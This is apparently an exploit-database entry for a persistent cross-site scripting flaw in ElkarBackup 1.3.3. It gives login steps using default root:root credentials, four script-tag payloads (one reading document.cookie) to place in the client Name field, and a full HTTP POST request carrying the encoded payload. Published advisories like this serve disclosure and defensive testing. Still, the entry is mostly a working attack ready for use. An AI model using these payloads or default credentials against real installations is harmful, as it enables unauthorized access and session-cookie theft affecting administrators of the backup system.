Exploit for ElkarBackup 1.3.3 Cross Site Scripting

## https://sploitus.com/exploit?id=PACKETSTORM:158930
# Exploit Title: ElkarBackup 1.3.3 - Persistent Cross-Site Scripting  
# Date: 2020-08-14  
# Exploit Author: Enes Özeser  
# Vendor Homepage: https://www.elkarbackup.org/  
# Version: 1.3.3  
# Tested on: Linux  
  
1- Go to following url. >> http://(HOST)/elkarbackup/login  
2- Default username and password is root:root. We must know login credentials.   
3- Go to "Jobs" and press "Add client" button.  
4- Write XSS payload in "Name" section.  
5- Press "Save" button.  
  
(( Executable XSS Payloads ))  
  
1- "><script>alert('XSS Confirmed!');</script>  
2- "><script>alert("XSS Confirmed!");</script>  
3- "><script>alert(document.cookie);</script>  
4- "><script>alert(document.domain);</script>  
  
  
(( REQUEST ))  
  
POST /elkarbackup/client/2 HTTP/1.1  
Host: (HOST)  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://(HOST)/elkarbackup/client/2  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 358  
Connection: close  
Cookie: PHPSESSID=dop3m1qj8c5octaxuasd21as2  
Upgrade-Insecure-Requests: 1  
  
Client%5Bname%5D=%22%3E%3Cscript%3Ealert%28%22XSS+Confirmed%21%22%29%3C%2Fscript%3E&  
Client%5Burl%5D=&Client%5Bquota%5D=-1&Client%5Bdescription%5D=&Client%5BisActive%5D=1&  
Client%5BmaxParallelJobs%5D=1&Client%5Bowner%5D=1&Client%5BsshArgs%5D=&Client%5BrsyncShortArgs%5D=&  
Client%5BrsyncLongArgs%5D=&Client%5B_token%5D=yrL8pXqx-sTVYhLQBpL523I-BOnSqoRyZnd5MUt2bfI